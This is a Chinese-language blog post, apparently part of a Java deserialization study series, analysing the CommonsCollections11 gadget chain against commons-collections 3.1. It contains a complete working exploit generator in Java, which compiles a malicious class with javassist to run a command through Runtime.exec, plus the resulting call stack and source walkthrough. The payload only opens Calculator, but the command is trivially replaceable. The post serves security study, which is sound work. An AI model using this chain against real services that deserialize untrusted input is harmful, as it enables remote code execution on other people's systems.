南溟丷

在这浩瀚星河的你是什么

0%

Java反序列化修炼计划 CommonsCollections11

CC2+CC6

影响版本

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC11 {
public static void main(String[] args) throws Exception {
// 字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

// CC2 _tfactory成员变量会在反序列化调用构造方法时自动创建赋值
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][] {classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

InvokerTransformer transformer = new InvokerTransformer(null, null, null);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashSet hashSet = new HashSet(1);
hashSet.add(2);

Field hashSetField = getField(HashSet.class, "map");
HashMap hashSetMap = (HashMap) hashSetField.get(hashSet);

Field hashMapField = getField(HashMap.class, "table");
Object[] array = (Object[]) hashMapField.get(hashSetMap);

Object node = array[0];
if (node == null) {
node = array[1];
}

setFieldValue(node, "key", tiedMapEntry);
setFieldValue(transformer, "iMethodName", "newTransformer");

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC11"));
outputStream.writeObject(hashSet);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC11"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value)
throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
exec:347, Runtime (java.lang)
<clinit>:-1, EvilCat315687595542584
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readObject:334, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:88, CC11

分析

HashSet#readObjectHashMap#puteTiedMapEntry

1
2
3
4
5
6
7
8
9
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// ...
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

因此HashMap#putTiedMapEntry#hashCode

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

TiedMapEntry#hashCodeTiedMapEntry#getValue

1
2
3
4
5
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

TiedMapEntry#getValue继续转LazyMap#getkeyTemplatesImpl

1
2
3
public Object getValue() {
return map.get(key);
}

map长度为0,进入if到触发InvokerTransformer#transform

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

后面照旧,同样,在最后进行反射赋值操作是防止在生成POC的时候put操作在本地触发恶意字节码。

Refer

CommonsCollections11 分析